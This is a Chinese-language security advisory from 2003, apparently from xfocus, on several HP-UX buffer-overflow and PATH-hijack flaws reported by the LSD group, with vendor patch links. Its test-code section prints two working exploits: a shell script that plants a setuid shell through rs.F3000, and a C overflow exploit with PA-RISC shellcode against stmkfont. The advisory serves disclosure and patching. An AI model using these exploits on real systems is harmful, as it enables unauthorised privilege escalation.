xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

HP-UX存在多个本地远程漏洞


发布时间:2003-06-10
更新时间:2003-06-10
严重程度:
威胁程度:本地管理员权限
错误类型:边界检查错误
利用方式:服务器模式

受影响系统
HP HP-UX 10.20
HP HP-UX 11.0
HP HP-UX 11.11
详细描述
LSD组织在审核HPUX系统时发现8个漏洞(7个本地和1个远程),内容如下:

1. /usr/sbin/lanadmin
   /usr/sbin/landiag
  
   lanadmin和landiag程序由于在setupterm()函数中不正确处理TERM环境变量,通过设置超长TERM环境变量可触发溢出。
  
2. /opt/sharedprint/bin/pcltotiff

   在解析命令行参数-t时,没有检查参数的边界缓冲区,超长参数可可触发溢出。
  
3. rpc.yppasswdd

   rpc.yppasswdd服务是安装在NIS子系统上,可以使用yppasswd程序处理密码更改的请求。HPUX系统下RPC服务号为100009。
  
   通过发送特殊构建的字符串给YPPASSWDPROC_UPDATE函数,这个函数有两个参数,一个字符字符串和密码结构,表示旧密码和passwd结构,在changepasswd()函数,密码结构的pw_name field 字段拷贝到固定缓冲区时没有正确进行检查,可导致触发溢出。
  
   [21110] 0x00012a98 1 changepasswd()
   [21110] 0x00025480 1 memset(0xffbefa30,0,40)
   [21110] 0x00014448 1 xdr_yppasswd()
   [21110] 0x00025738 1 xdr_wrapstring()
   [21110] 0x00014374 1 xdr_passwd()
   [21110] 0x00025744 1 xdr_uid_t()
   [21110] 0x00025750 1 xdr_gid_t()
   [21110] 0x000126b4 1 validstr()
   [21110] 0x0002545c 1 strlen("")
   [21110] 0x000255b8 1 strchr("",':')
   [21110] 0x000126b4 2 validstr()
   [21110] 0x000126b4 3 validstr()
   [21110] 0x00025474 1 strcmp("udp","ticlts")
   ....
   [21110] 0x00025438 1 strcpy(0xffbef9d8,"overlfow string with shellcode")
  
4. /usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000
  
   rs.F3000调用使用system()函数调用不安全外部程序,如果环境变量PATH设置在调用system()函数之前,可导致以守护程序权限执行任意代码。
  
5. /usr/bin/stmkfont

   在调用命令行参数时没有正确检查字符串长度。
  
6. /usr/bin/uucp

   在调用命令行参数时没有正确检查字符串长度。
  
7. /usr/bin/uusub

   在处理-t命令行参数时没有正确检查字符串长度。

测试代码
#!/bin/sh
## copyright LAST STAGE OF DELIRIUM may 2002 poland            *://lsd-pl.net/ #
## /usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000                              #

echo "copyright LAST STAGE OF DELIRIUM may 2002 poland  //lsd-pl.net/"
echo "/usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000 for HP-UX 10.20 700/800"

cat > /tmp/rm << 'EOF'
    /usr/bin/cp /bin/sh /tmp/sh
    /usr/bin/chown daemon /tmp/sh
    /usr/bin/chmod 4755 /tmp/sh
EOF
chmod 755 /tmp/rm

PATH=/tmp:$PATH
export PATH
/usr/lib/X11/Xserver/ucode/screens/hp/rs.F3000
sleep 3
sh


-------------------------------------------------------------------
/*## copyright LAST STAGE OF DELIRIUM jun 2002 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/stmkfont                                                       #*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define ADRNUM 1200
#define NOPNUM 12000
#define PADNUM 3

char shellcode[]=
    "\xeb\x5f\x1f\xfd"    /* bl     .+8,%r26               */
    "\x0b\x39\x02\x99"    /* xor    %r25,%r25,%r25         */
    "\xb7\x5a\x40\x22"    /* addi,< 0x11,%r26,%r26         */
    "\x0f\x40\x12\x0e"    /* stbs   %r0,7(%r26)            */
    "\x20\x20\x08\x01"    /* ldil   L%0xc0000004,%r1       */
    "\xe4\x20\xe0\x08"    /* ble    R%0xc0000004(%sr7,%r1) */
    "\xb4\x16\x70\x16"    /* addi,> 0xb,%r0,%r22           */
    "/bin/sh"
;

char jump[]=
    "\xe0\x40\x00\x00"    /* be     0x0(%sr0,%rp)          */
    "\x37\xdc\x00\x00"    /* copy   %sp,%ret0              */
;

char nop[]="\x0a\xb5\x02\x95";

int main(int argc,char **argv){
    char buffer[20000],adr[4],*b,*envp[2];  
    int i;

    printf("copyright LAST STAGE OF DELIRIUM jun 2002 poland  //lsd-pl.net/\n");
    printf("/usr/bin/stmkfont for HP-UX 10.20 700/800\n");    

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()-16732;
    printf("0x%x\n",*((unsigned long*)adr));

    envp[0]=&buffer[2000];
    envp[1]=0;

    b=buffer;
    for(i=0;i<PADNUM;i++) *b++=0x61;
    for(i=0;i<ADRNUM;i++)  *b++=adr[i%4];
    *b=0;

    b=&buffer[2000];
    strcpy(b,"lsd=");b+=4;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/bin/stmkfont","lsd",buffer,0,envp);
}


------------------------------------------------------------------

解决方案
补丁下载:

HP HP-UX 10.20:

HP Patch PHCO_29105.depot
ftp://hprc.external.hp.com/PHCO_29105.depot

HP HP-UX 11.0:

HP Patch PHCO_29106.depot
ftp://hprc.external.hp.com/PHCO_29106.depot

HP HP-UX 11.11:

HP Patch PHCO_29107.depot
ftp://hprc.external.hp.com/PHCO_29107.depot

相关信息
参考:http://archives.neohapsis.com/archives/bugtraq/2003-06/0075.html
http://www.lsd-pl.net/vulnerabilities.html#hp